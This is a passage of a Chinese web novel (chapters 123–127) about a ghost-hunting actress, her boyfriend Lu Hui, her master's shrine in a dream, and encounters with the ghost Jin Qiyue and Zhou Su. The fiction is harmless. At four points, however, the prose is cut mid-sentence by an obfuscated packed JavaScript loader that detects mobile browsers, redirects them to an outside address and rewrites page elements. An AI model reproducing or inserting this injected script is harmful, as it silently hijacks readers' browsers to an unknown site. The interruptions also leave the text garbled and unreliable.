就这样路滨揣着照片见到了孔屏,孔屏跟普通人见面时没有穿他那件能遮掩鬼气的麒麟皮衣,于是,在这个过程中照片沾染上了孔屏身上的鬼气,以至让左轻白发现了孔屏的存在。 123. 绝不会分开 这时饰演白蔷薇的白柳拍案而起,也指着宋时祺说:“我想到了!杀死红玫瑰的匕首上有少许桂花油的气味,大家都知道红玫瑰的家乡盛产桂花油,红玫瑰特别喜欢用自己家乡产的桂花油来抹头发,所以大家自然而然地以为桂花油是红玫瑰身上的。其实,在场除了红玫瑰的家乡产桂花油外,宋时祺的家乡也产桂花油,他们是同乡!” “你碰过那把匕首?”付子聪质问宋时祺。 “何止碰过。”黄经理的矛头也指向宋时祺,“就是你用匕首杀死了红玫瑰。你们家乡家家户户产桂花油,也包括你家,你是从家乡过来的,身上沾了少许桂花油,那把匕首上桂花油的气味就是来自于你!” 真相浮出水面。 原来宋时祺今年来过两次上海,都是为了找红玫瑰,宋时祺第一次来的时候,红玫瑰跟他见了面,但两人没聊两句就吵了起来,红玫瑰当场与宋时祺决裂,让宋时祺以后不要来找她了。 但宋时祺觉得两人青梅竹马这么多年,他不相信红玫瑰会这么绝情,于是他第二次来到大上海,准备再见红玫瑰一面。 这次来,宋时祺是翻窗户进来的,他在红玫瑰的房间看到了红玫瑰与周先生的合照,他这才知道,原来红玫瑰早就已经移情别恋,不再爱他,红玫瑰甚至还打算离开上海,去香港找周先生,她要抛弃他。 宋时祺认为红玫瑰背叛了他,自尊心受挫,于是恼羞成怒,冲动之下杀死了红玫瑰。 游戏结束,真凶宋时祺被成功揪出,侦探方获胜。 工作人员纷纷拍手鼓掌,庆祝录制顺利完成。 “辛苦了,辛苦了。”编导对大家说。 录制完已经快11点了,工作人员为大家准备了宵夜,白柳和时魏要保持身材,只吃了两口,左轻白则大快朵颐,吃得特别香。 “白柳姐,你那份不吃能给我吗?我好饿。”左轻白说。收服孔屏和弥月刃碎片时左轻白消耗的能量太大了。 “好。”白柳微笑着,把自己那份递给左轻白。左轻白端起就干,像几天没吃饭一样。 “慢点吃,别噎着。”白柳说,她小声问左轻白:“是不是刚才在秘密空间里消耗太大了?” 左轻白点点头。 白柳小声问左轻白:“你这个捉鬼师的职业……圈里有多少人知道?” “没多少。”左轻白回答,“除了白柳姐你,还有归延。” “平时你接私活吗?” “当然接了,有鬼就有活儿。” “那……我要是有需要,可以找你吗?” “可以啊,怎么,白柳姐你家里还有鬼啊?” “不是我家。”白柳凑到左轻白耳边,环顾四周,小声说:“回头跟你细说。” 说完,正好白柳的经纪人在叫白柳,于是白柳走了过去。 一旁的时魏看着吃了两份饭的左轻白,震惊道:“我第一次看到不需要控制饮食的女艺人!” “我吃不胖。”左轻白说。 “天生的体质吗?那多少艺人该羡慕你啊!” “不是天生的体质,是平时消耗太大,所以要多吃。”左轻白一本真经地说。 准备走出录制厅时,时魏对左轻白说:“走啊,一起出去。” “我可不敢。”左轻白用开玩笑的语气说,“外面肯定有好多你的粉丝,我跟你一起出去,我怕她们把我活剥了。” “怎么可能?”时魏拉着左轻白往外走,“我的粉丝一点都不可怕,她们都是特别善良可爱的人。” 左轻白哈哈笑道:“她们要是知道你这么夸她们,不得高兴上天了!” “我的粉丝我当然要夸。”时魏说,“她们粉我,不就是图点情绪价值吗?是我该给的,我就该给。” “那你更要跟女艺人保持距离了,这是爱豆的基本素养。”左轻白把时魏拉着她的手弄掉。 时魏那双桃花眼眼角带笑,他看着左轻白,露出“真遗憾”的表情。 男人的眼,杀人的刀,时魏的眼睛像会放电,左轻白愣了一下,好像有一瞬间真的被他电到了。 时魏这类唱跳艺人,最懂如何释放自己的魅力,他们公司会请专门的老师来教这个,要的就是一颦一笑都让人脸红心跳。 时魏走出录制厅的那一刻,全场尖叫,他的粉丝在外面等了一晚上,她们拉着横幅,拿着手牌,时魏一出来,就开始尖叫、拍照,几个站姐扛着专业设备“咔咔咔咔”拍个不停。 时魏本就长着一张三百六十度无死角的帅脸,此时再露出一个刚刚好的微笑,配上那双含情脉脉的桃花眼,简直迷死人不偿命,粉丝们叫得更凶了。 时魏九十度鞠躬,表达对粉丝们的感谢,接着,他在助理和保镖的包围下上了保姆车,但很奇怪,上了车后他没有立即叫车子开走,而是停在那里,一堆粉丝围在车周围。 这时,时魏其中一个助理从车上下来,一路小跑到左轻白跟前,把一盒零食送给左轻白,里面有核桃酥、凤梨酥,这酥那酥的全是高热量食品。 “这是什么?”左轻白问。 “一盒零食,一直在车里放着,时魏哥平时要控制饮食,不能吃。时魏哥说轻白老师今晚可能没吃饱,把它送给轻白老师吃吧。” “好啊。”左轻白没拒绝,大方笑道:“那我就收下啦。” 她是真的还想吃东西。 助理回到车上,时魏的车缓缓开走,粉丝们一路哭着追车,非常疯狂。 接左轻白的车也来了。 左轻白身边没有助理,她不要,不过参加各类录制或者活动时,公司派来接送的专车还是要有的。 左轻白走到她的保姆车旁,一开车门,却看到路回坐在里面。 路回冷着一张脸,双手抱臂,一本正经,看起来非常严肃。 “路回!”左轻白惊喜道,“你怎么来了?没说你要来啊。” 左轻白事先不知道路回来接自己,她以为路回要工作。 路回没好气的“哼”了一声,沉着脸说:“是啊,我是不该来,我不来你就自由了。” 左轻白笑嘻嘻地钻进车里,坐到路回身边,说:“你来不来我不都挺自由的吗?” “左轻白小姐,你要时刻记得,你是我的女朋友,公开了的那种。” “对啊,我一直记得啊。”左轻白一边说,一边打开时魏给的零食盒,拿起一个核桃酥,问路回:“你要吃吗?” 路回的脸黑得不像话,他把头一扭,闷声说:“不要。” “你不吃我吃了啊。”左轻白没心没肺道。 路回赶紧转头,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717102|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见左轻白两口干掉一个核桃酥。路回咬牙问:“时魏送的东西就这么好吃?” 刚才路回看见了时魏派助理送左轻白零食的全过程。 “普通零食,也没有特别好吃。”左轻白实话实说,“只是我真的肚子饿了。” 路回一愣,“节目组饿着你们啊?” 左轻白摇头,“不是,节目组准备了吃的,但对我来说不够。” 路回反应过来:“你又抓鬼了?” “聪明。” 左轻白故意身子一歪,上半身倒在路回腿上,装模作样道:“我现在很虚弱,喂,作为一个助道者,你帮助我的时候到了。” 路回看着左轻白,左轻白也看着他,路回目光幽深,喉头微动。 路回俯身,送上了一个宣誓主权的吻。 到家时,路回抱着左轻白下车,一路把她抱上二楼卧室,扔到大床上。 路回往左轻白身上一压,看着她,认真地说:“少拈花惹草,不然……” “不然怎么样?” 路回把左轻白的双手举到头顶,他想了又想,最终叹了口气,无奈地笑道:“我也不知道拿你怎么样。” 他低头,鼻尖贴着左轻白的鼻尖,他问左轻白:“左小姐也接过那么多剧本了,如果这是在一部戏里,我应该怎么做?” 左轻白暧昧地笑起来,“那当然是用铁链把我锁起来,然后关在小黑屋,这样那样……” 路回赶紧打断,“你看的这是什么三级片的剧本?居然有这种剧本找你吗?推了,赶紧推了。” 左轻白哈哈大笑,“没有这种剧本找我,我开玩笑的,公司的人谁敢给我接这种剧本?” “谁敢接我炒了谁。”说着,路回吻上了左轻白的唇。 路回开始解左轻白的衣服扣子,这事他驾轻就熟。 左轻白今晚的状态像是微醺,突然,她双手环上路回的脖子,贴着路回的耳朵说:“小黑屋关不住我的,但如果把它当成跟你一起的一段经历来体验的话,我想试试。” 左轻白一个翻身,调转了两人的位置,跨坐在路回身上。 左轻白的头发是扎起来的,这时她随意地把扎着头发的皮筋扯开,扔到一旁,头发如瀑布倾泻而下,落在她身上。 “我不知道我跟你会不会分开。”左轻白一边解自己的衣服一边说。 左轻白想起自己跟路回是两个世界的人,只不过她呆在这个世界太久,一时忘了而已,左轻白还会不会回到原来的世界,谁也说不准。 想到这事,一向没心没肺的左轻白也开始忧郁。 左轻白的眼睛少见地露出郁色,接着郁色转为坚定,左轻白认真说:“如果有一天我跟你分开了,你好好过,我也好好过,该怎么过怎么过,明白么?” 路回伸出手,捧住左轻白的脸,问:“我的捉鬼师小姐今天怎么突然悲秋伤春起来了?这可不像你。” 左轻白把上衣脱掉,扔到一旁,路回喉头一滚,眼底的火燃起,压抑不住。 路回上身挺起,抱住左轻白,他把左轻白往自己怀里一摁,左轻白脖子仰起,轻哼一声。 路回热烈地吻上左轻白的脖颈,说:“我不知道你今天怎么了,你说的话我听不懂,我不会把你关小黑屋,我俩也绝不会分开。” 124. 别老逗你小师妹 左轻白睡着了,与路回相拥而眠。 她是真的累了,观众们在电视机前看到综艺里嘉宾们好像都玩得很放松、很开心,然而事实是他们录得很累很累。 左轻白进入梦乡,梦里,她回到了山中。远远的,她看见了师父的道观。 道观大门处处透着岁月的痕迹,陈旧而古朴,它就这么矗立在山间,山下早已日新月异,这里还是一方净土。 左轻白意识到她回来了。 左轻白朝道观狂奔而去,一边跑一边喊:“师父!” 她推门进入道观,首先看到的不是道教供奉的三清四御神像,而是像蜘蛛网一样盘旋缠绕着的网线和电线。 “我靠!”左轻白吓了一跳,愣道:“我走错了吗?” 她小心翼翼地踏进去,只见网线、电线都插在一台电脑上,电脑前坐着一个戴着墨镜的秃头大叔,不修边幅、吊儿郎当的样子,秃头大叔叼着根棒棒糖,在键盘上飞速敲着什么。 左轻白“啊”了一声,满脸惊喜。 “大师兄!”左轻白朝秃头大叔狂奔过去。 这人是左轻白的大师兄,也是捉鬼师。大师兄从嘴里拿出棒棒糖,一指飞跑过来的左轻白,一脸不好惹的样子。 “别动,别碰坏了我的线。”大师兄说,他戴着墨镜,左轻白看不到他的眼神。 然而左轻白没有被他严肃的语气吓到,她避开那些线,跳到大师兄跟前,左轻白突然跳起来一拍大师兄的脑袋,说:“不碰就不碰,跟我装什么逼啊?” 大师兄“哎哟”一声叫出声来,佯怒道:“小师妹你……这么多年了下手还是没轻没重!” “大师兄,你在干什么?”左轻白问。 “布阵。” “布阵?”左轻白把头伸到电脑前一看,说:“布什么阵啊,你打开的是小说网站啊!让我来看看你在看什么小说……咦,《登顶娱乐圈女王》,你也在看这个?你看到哪了?看到小若的番外了?” 左轻白转头一看,四处张望,然后她看到了坐在树下的一个白衣男子,男子盘膝而坐,面前放着一个围棋棋盘,棋盘上摆着黑白子,男子认真地看着棋局。 男子穿着中式套装,戴着眼镜,长相清秀,气质温文尔雅,看他思索棋局的样子,像是个很厉害的国手。 左轻白又是“呀”了一声,跑到树下,来到白衣男子身后,双手扶着男子的双肩跳了起来,乐呵呵地说:“二师兄!你也来了!我已经好久没见你和大师兄了,今天你们一起回来,我真是太开心了!” 左轻白的二师兄看了左轻白一眼,微微一笑,他气质很好,笑起来让人如沐春风,但他只是笑,一句话也没说。 这时,另一个声音传来:“小师妹,你就看到他俩,没看到我?” 左轻白转头一看,再次惊喜地叫出声,看着摇着黑色折扇走向自己的人说:“三师兄!你也回来了!” 三师兄很年轻,穿着一身黑,打扮得很酷,走酷帅风格。 三师兄把折扇一收,对左轻白说:“是师父把我们召回来的,我们已经在道观住了好一段时间了。” “召你们回来做什么?” “布阵。” “布阵?布什么阵需要你们三个高级捉鬼师一起?”左轻白好奇地问。 三师兄嘴角上扬,双手背在身后,大剌剌走到二师兄的棋盘前,然后伸出手,用自己手中的扇子点了一下棋盘中央。 棋盘突然变了,棋盘上,左轻白看到了她穿书的那个世界,她看到了金绮月,看到了周夙,还有路回。 三师兄笑道:“我们在布一个能篡改异世界能量场的阵。” 玄逸终于慢悠悠地走了出来,边走边说:“没错,是我把你的师兄们叫回来的。” “师父。”左轻白跑到玄逸跟前,问:“这到底是怎么回事?” 玄逸弹了左轻白一个脑瓜崩,恨铁不成钢地说:“还没明白?没你三个师兄帮你,那晚金绮月用测谎仪试你的时候,你就已经露馅了。” 左轻白惊讶地张大了嘴,“我一直想不明白那天晚上到底发生了什么,为什么那些测谎仪像活了一样,都在帮我?原来是师父和师兄你们在帮我!” 玄逸点头。 左轻白问:“师父,这是怎么做到的?” “就是把一个能量场,你可以理解为是一个能够篡改测谎仪结果的巨大磁场,打入书中世界。你和金绮月周旋的那天晚上,测谎仪的结果都是我们在操控。” “原来如此。”左轻白拍拍自己心口,“太玄了,那天晚上是师父和师兄在帮我,幸亏有你们,不然我肯定骗不过金绮月,骗不过我就死定了。” 大师兄把手揣进衣袖里,吊儿郎当地走了过来,对左轻白说:“一直用阵法帮你也不是个事儿,万一哪天阵法失效了,你的谎言就拆穿了,你得让谎言变成现实才行。” 左轻白跺脚道:“我怎么让谎言变成现实?现实就是我根本就不是小若,我是骗金绮月的!” “信念感。”一直一言不发的二师兄开口了,他的声音很清冷,“在金绮月眼里你到底是不是她的小若姐姐,全凭你的表现,没有什么第三者或者资料来告诉她你是不是小若,你有优势。是你信念感还不够强,所以表现得还不够好。” “怎么才能算信念感强?”左轻白问。 三师兄说:“彻底相信自己是小若,不要把它当成一句谎言。只有连你自己都相信了,金绮月、测谎仪,都拿你没办法,哪怕没有我们的帮助。” 玄逸握起左轻白的手,沉重地说:“自己给自己洗脑很难,但师父和师兄只是希望你能在书中世界顺利活下去。” 左轻白露出小兔子一样委屈巴巴的神情,哭唧唧道:“师父师兄,你们也知道神通鬼很难对付,对吧?” 玄逸、大师兄、二师兄、三师兄一齐点头。 左轻白好不容易回来一趟,大家都想为她在异世界的生存出谋划策,于是五个人席地而坐,围成一个圈,中间放着那个能看到书中世界的棋盘,他们的话题围绕左轻白和她在书中世界遇到的事展开。 二师兄说:“我们都没亲眼见过神通鬼,只在历代师祖留下的手记里读到过。师祖的手记里说,杀一个神通鬼,几乎要死一代弟子。小师妹遇到了这样的烫手山芋,师兄却没法跟你并肩作战,真是辛苦你了。” 大师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775015|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兄把墨镜搭在脑袋上,说:“我们会尽量布阵帮你,但是,小师妹,你有没有发现你回来的次数越来越少?你回来的次数越少,就意味着我们的阵法能影响异世界的次数也越少。” 三师兄道:“真是这样的话,小师妹,你就只能靠你自己了。” 玄逸、大师兄、二师兄、三师兄一齐忧心忡忡地看向左轻白。 “你们不要这么看着我。”左轻白说,“我自己能行,我能杀死神通鬼。” 玄逸语重心长道:“一件事情能不能成,事情本身不一定是最难的,难的是如何不被感情影响。” 二师兄也跟着道:“现在金绮月跟你以家人、姐妹相称,小师妹,你可不要有一天对她心软了。” 左轻白立即说:“我怎么可能犯这样的错误?” 大师兄说:“金绮月在世间游荡500年,她的阅历是普通人的几十倍,拿捏人心的本事也比普通人高得多。” “大师兄怕她拿捏我?放心,我不是周夙。”左轻白说。 三师兄却说:“小师妹,别太自信了,自信容易轻敌,这可是神通鬼啊。” 玄逸面色沉重,这时他提起了另一个人:“丫头啊,我看,在那个世界,危险的可能还不止金绮月,还有一个人,也很诡异。” 说着,玄逸大手在棋盘上一挥,棋盘上浮现出周家祖先周如森的脸。周如森一直活到现代,在现代社会中他换了个名字,现在的他叫方如瑾,也就是大家熟知的管家方伯。 “周夙也说他古怪,说要查他。”左轻白沉吟。 左轻白望向玄逸,说:“他身上没有鬼气,不是鬼;但如果他是人,人不可能有这么长的寿命。” “所以他很奇怪。”玄逸说道。 聊着聊着,忽然三师兄朝左轻白露出一个好奇的笑容。 三师兄打开他那把全黑的折扇,偷偷凑近左轻白,问:“小师妹,听说你在那个世界找到了配对的助道者?” “对啊。”左轻白大大方方道。 三师兄发出暧昧的笑声,“哦!捉鬼师和助道者,天生一对啊!可惜助道者少见,我们都没见过助道者,倒是让小师妹先见到了。” 左轻白毫不扭捏,而是得意洋洋地说:“三师兄你嫉妒是不是?” “我这是在恭喜。” 大师兄把墨镜一甩,在棋盘上变幻出路回的画面,十分严肃地一指画面,说:“这家伙要是对你不好,我们集体穿书,打死他!” 看着大师兄一副义愤填膺的样子,左轻白赶紧说道:“大师兄别激动别激动,我俩好着呢。” 三师兄故意挑事,笑嘻嘻道:“小师妹,要是有一天你完成了除掉神通鬼的任务,你是愿意回来跟我们呢,还是留在那里跟他?” 左轻白心里有自己的小九九,她小声说:“就不能两边跑吗?” “不能。”三师兄步步紧逼。 玄逸一拍三师兄的脑袋,道:“别老逗你小师妹。” 五人又聊了一会。左轻白很珍惜跟师父师兄聚在一起的时光,然而黄昏降临时,那一刻还是来临了,左轻白的身体在师父师兄面前渐渐变成了半透明,她又要回书中世界去了。 125. 我死也要护她 过了几日,左轻白应邀参加一场娱乐盛典。 她当女明星久了,这种场合也习惯了,左轻白很放松,候场时,她拿着手机,百无聊赖地刷视频。 左轻白刷到了白柳的采访。在《超级侦探秀》录制后不久,白柳官宣新工作,她接到了一部电影的角色,电影由大导操刀,冲着拿奖去的,白柳的角色虽然不是女一号,但张力十足,非常值得期待。 娱记采访白柳时,先是问了录制《超级侦探秀》的感受,白柳说她玩得很开心,娱记又问起新工作,问她新角色是个什么样的人物,白柳笑眯眯地说不能剧透,大家等待成片吧,全程下来几乎都在打太极,白柳的回答礼貌中不失风趣,但愣是一点有用的信息都没透露。 采访中,白柳状态很好,要知道不久之前她还因为失恋深夜买醉,如今却气色红润,一扫往日阴霾。娱记问了个大胆的问题:“白柳小姐状态这么好,是已经从上一段感情中走出来了吗?” “是的。”白柳大大方方道。 “真的这么快吗?前不久您好像还深夜买醉。” “那段时间的确很伤心,但现在已经过去了。”白柳直言不讳,“恋爱也好、失恋也好,只是我们的一次生活经历,伤心是肯定会伤心的,但过去了也就过去了。感情是每个人都会经历的,我们每个人都能从感情中收获很多,但感情不是我们人生的全部。” 娱记不依不挠:“但对于女生来说,感情就是全部啊,至少是首位。” 白柳眉头一皱,大胆回怼道:“这句话让我很不舒服,一来,这是偏见;二来,这像是一种洗脑。无论男人女人,首先都是人,人性使然,人放在首位的一定是她自己。” 左轻白看到这里,给白柳发去了一条微信。 左轻白:白柳姐,你的采访我看了,说得真好。 白柳:都是你教的啦。谢谢你。 左轻白:白柳姐,上次你说要跟我说的事是什么? 白柳:唉,微信说不清楚,我一直想约你面谈,但一直没时间。 左轻白:没事,有空咱们再约出去详谈。 左轻白放下手机,百无聊赖地坐在椅子上发呆。 闲着也是闲着,左轻白在椅子上闭目,在呼吸吐纳中练习静心。 这是她每天都要练的项目,静心修身。 这一次,左轻白进入了一种心静脑子不停的境界。 有一种理论是人可以欺骗自己的大脑,甚至自己给自己植入一段记忆,现在左轻白就是在尝试做这件事。 她的大脑很活跃,如同一个建筑师,正在构建鬼村小若的故事,并自动把细节补充得完完整整。当大脑把故事细节补充得足够完整时,大脑就会相信它自己创造出来的东西。 这就叫自我洗脑,左轻白的洗脑内容是:我就是小若。 一个谎言,只有自己信得彻底,别人才挑不出漏洞。 左轻白闭着眼睛的时候,一个人悄悄来到了左轻白身后,她走路没有声音,像飘着进来的一样。 那人轻轻把手蒙在了左轻白的眼睛上,像是小孩子玩闹一样。 “谁!”左轻白被吓了一跳,赶紧睁开眼。 左轻白转头,看到的却是金绮月那张洋娃娃般精致的脸。 金绮月也参加了这次娱乐盛典。 金绮月在笑,她似乎一点都不恼怒在悼青山的时候左轻白跟着兰殊尔一起对付她。 左轻白有些摸不清金绮月的态度,在悼青山时自己站在了她的对立面,她真的不介怀吗? 左轻白悄悄打量金绮月,突然冷汗直冒,心里狂打鼓。 左轻白发现,金绮月又变强了。 虽然在悼青山时没能制造大灾难,但金绮月得到了那棵怪树,她利用怪树修炼,如今鬼力又上了几个阶层。 金绮月歪着脑袋,非常友好,她伸出手亲昵地捏了捏左轻白的脸,问:“姐姐刚才在干什么?在练功?” “练习呼吸吐纳而已。”左轻白说。 金绮月嗲声嗲气地说:“姐姐还练功啊?姐姐的法力已经比我刚见到你时提高很多了。” 她凑近左轻白,把自己的额头贴在左轻白的额头上,笑道:“姐姐法力提升,跟那位助道者脱不了干系吧?捉鬼师和助道者的匹配,可不就是修仙小说里常说的双修?嘻嘻。” 金绮月暧昧地笑了起来,笑得左轻白脸红。 左轻白推开金绮月,“你再拿我开玩笑,我生气了。” 金绮月依然在笑,“有什么可生气的,说起来,你跟路回还是我促成的呢,那个梦……” 左轻白看了一眼金绮月,当初那个旖旎的梦是金绮月构建的,她知道。 金绮月叹了声气,说:“是我促成的你俩,但现在我后悔了,我看到你俩这么亲,我吃醋啊。姐姐,我更希望你跟我最亲,毕竟整个村子只剩下我们两个了,我们是一家人。” 说完,金绮月竟然“哇”的一声扑到了左轻白怀里,左轻白始料未及,但还是及时接住了她。 金绮月竟然哭了起来,在左轻白怀里呜呜道:“小若姐姐,你跟我站一边不好吗?你为什么要跟兰殊尔那个捉鬼师站一起?又为什么那么喜欢路回?你知道吗,在悼青山,你把剑指向我的时候,我是多么心疼啊!” 金绮月深深地望向左轻白,说:“这世上没有人把剑指向我后还能活,你是唯一一个。小若姐姐,你看,我对你多好啊,你对我来说是最特别的,所以你不要辜负我。” 金绮月的眼睛幽黑,像两口深井,仿佛能把人吸进去。 左轻白呼吸一滞,有一种被蛊惑的感觉,神差鬼使地张了口:“好。” 金绮月露出满意的笑容。 金绮月离开左轻白的休息室时,开门的一瞬间,左轻白看到周夙在外面等金绮月。 这次娱乐盛典,周夙陪金绮月一起来了。 左轻白想了又想,她看了一眼被合上的门,迅速取出符纸,在上面写上时间地点,她口中念念有词,指尖点火,一把将符纸烧了。 当然不是真的烧了,这是捉鬼师之间互相联系的一个小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784082|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法门,左轻白把符纸烧了之后,符纸上写的内容就会传送到同为捉鬼师的周夙那里。 娱乐盛典进行时,左轻白找了个借口离席,在楼梯转角处等周夙,这是她在符纸上跟周夙相约的地方。 左轻白不确定周夙会不会来,等了一会后,周夙终于来了。 这两人曾经你死我活地交过手,但如今见面两人都心平气和,似乎将之前的矛盾抛到脑后。 左轻白看着那张酷似路回的脸,楼道灯光偏暗,在这样的灯光下两人更像了,左轻白有些不太习惯。 周夙双手抱臂,漫不经心地背靠着墙,跟左轻白隔开一段距离,用不咸不淡的语气对左轻白说:“说吧,找我什么事?” “周如森你调查得怎么样?”左轻白开门见山。 周夙转头看向左轻白,嘴角一勾,冷笑道:“你也对他有兴趣?” “他不是鬼,但说他是人吧,他活的寿命又远远超过了人的寿命,这人古怪。”左轻白说。 周夙依旧冷笑,他看着左轻白,说:“你也古怪。” “回答我的问题,周如森你调查得怎么样?” “不怎么样。”周夙实话实说,“你要是对他好奇你自己去查,但别想让我跟你联手。” 左轻白心想:他怎么知道我想跟他联手查周如森?真可惜,我还没说就被他拒绝了。 左轻白还想争取一下:“别拒绝那么快嘛。” 周夙懒得跟左轻白讨价还价,他看了一眼手表,对左轻白道:“我要回去陪绮月,再见,左小姐。” “等一下。”左轻白叫住他,左轻白笑了起来,试图激怒周夙:“我说周夙,你到底图什么?悼青山那次,金绮月拿你当祭品,让你去送死,你还这么死心塌地?舔狗舔到这份上,你真是独一份啊。” 周夙猛的转头,死死盯着左轻白。就在左轻白以为他要发怒的时候,周夙又把头转了回去,他长长的睫毛一垂,眼神晦暗不明。 周夙背对着左轻白,说:“我什么都不图,你管好你自己就行,不要多管闲事来管我。” 他往前走了几步,突然脚步一停,又对左轻白说:“还有,我弟弟虽然是助道者,但他不修炼,跟普通人没什么区别,所以你别把他拖进危险中去,比如悼青山那次,带他进山做什么?” “哟,这时候想起当好哥哥,关心起弟弟来了?”左轻白笑道,“你要是真想当个好哥哥,就不要帮鬼做事,给自己和家人积点德。” 周夙懒得回应,大步离开。 娱乐盛典也是明星们争奇斗艳的修罗场,尤其是女明星,穿的礼服一个赛一个漂亮,金绮月也不例外,她今天穿的是一件粉色高定裙子,甜甜的像个小蛋糕。 周夙回到座位之前,站在过道处看了金绮月几秒,金绮月背对着他,穿着粉色的裙子,巧笑盼兮,在跟旁边人说笑,她看起来软绵绵、香呼呼的,毫无攻击性,尽管知道这是假象,但周夙依旧心软了。 她要是一直如此就好了。周夙心想。她要是一直如此,我死也要护她。 126. 生活这么有趣 周夙坐到金绮月身边,并把自己的外套脱下来,披到金绮月身上。 金绮月狐疑望他。 周夙说:“冷。” 金绮月嘻嘻笑了起来,低声道:“你怎么会觉得我怕冷?” 她是鬼,这世上哪有怕冷的鬼? 金绮月凑到周夙跟前,睁着一双大眼睛看他,周夙不语,却被她盯得脸红。 周夙把头侧开,不去看金绮月的眼睛,金绮月的眼睛如深井,他不敢直视。 金绮月却捏着他的下巴把他的脑袋转了过来,质问道:“干嘛不看我,我今天不好看?” “不是。”周夙说。 他说了一句“不是”后就没下文了。 金绮月用拇指指腹摸了摸周夙的嘴唇,撇撇嘴,道:“你这人真无趣,这种时候换作别的男人,那一定是要哄女人几句的。” “这样的男人你见过多少?” “见过很多,可我不喜欢他们,他们只要在我身边我就烦。可我不烦你。” 金绮月把手从周夙脸上放下来,忽然换了一副老成的表情,这种表情下的金绮月才真的有点像百年老鬼。 “你那公司干得怎么样了?”金绮月问。 周夙跟路回不一样,周夙是私生子,而且不受宠,看路宗锋的意思,路家的财产和产业跟周夙关系不大,都是留给路回的,不过可以给一笔钱让周夙自己起家。 周夙道:“多谢关心,一切都挺好,稳步前进吧。” 金绮月飞速看了一眼周夙此时装严肃的表情,有一瞬间她觉得这个无趣的人有时也挺可爱。金绮月嘴角一勾,小声说:“什么稳步前进?你要是想,我可以帮你。帮你一夜之间超过路家,怎么样?” “我不想一夜之间超过路家,我想慢慢来。” “慢慢来有什么好?” “你从出道到获奖,不也是慢慢来,没有一步登顶吗?我知道只要你想,早就登顶了。” “我跟你不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787125|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样,我是在玩儿,我的时间是无限的,有的是时间慢慢玩儿。但你一介凡人,还想搞什么慢慢来?再慢点你这辈子就过去了。” 周夙忽然一笑,说道:“我也在玩。”他转头看向金绮月,认真地说了一句:“陪你玩。” 盛典结束后,所有人陆续离场。周夙和金绮月走出会场时,在会场门口遇到了来接左轻白的路回。 四人相见,里面有一对兄弟、一对“闺蜜”、两对情侣,然而气氛却十分古怪。 路回淡定地看了一眼手表,邀请道:“现在还早,一起吃个饭吧。” 四人去了一家米其林餐厅。 餐厅位于京城繁华地带中一座最高建筑物的顶层,从透明玻璃往下望去,车水马龙、灯火辉煌尽收眼底。 金绮月看着现在这奇特的场景,她双手抱臂,目光落在左轻白身上,她不说话,却始终笑盈盈的。 “我已经很久没有觉得生活这么有趣了。”金绮月开口说道。 127. 我或许知道一些事情 这顿饭吃得很和谐,至少表面上如此。 路回作为这顿饭的组织者,却是四人中唯一一个没法力的人,饶是如此,他却丝毫不露怯。 路回出身优渥,固然他从不是个喜欢以钱权压人的人,但那份天生贵气却是怎么也掩盖不住的,在任何场合下都得体大方——除了在跟左轻白斗嘴和吃醋时才稍显孩子气。 饭局间,四人谈笑风生,气氛融洽自然,仿佛他们真的关系亲近、毫无芥蒂。 闲聊时,周夙漫不经心地问左轻白:“左小姐是哪里人?” 左轻白说了原主的家乡,御江市。 周夙奇怪道:“听说御江无辣不欢,跟左小姐的口味不是很像啊。” “我很久没有回老家了,口味变了也正常。”左轻白漫不经心地说,“有空确实得回去看看了。” “不知道回去还会不会回来。”周夙用开玩笑的语气道。 周夙是用开玩笑的语气说的,但左轻白听得出他话里有话。 横空出世一个厉害的捉鬼师,从前竟然从未听闻,周夙不免怀疑左轻白的来历,他甚至怀疑左轻白是从另一个世界来的,但问题来了,如果是从另一个世界来的,另一个世界的人怎么可能对金绮月和自己的过去了如指掌?这根本不合理。 但这至少是一种可能,不是吗? 不知道回去还会不会回来。周夙随口一说的一句话,一旁的路回听到后看了左轻白一眼,眼中不知流露着什么情绪。 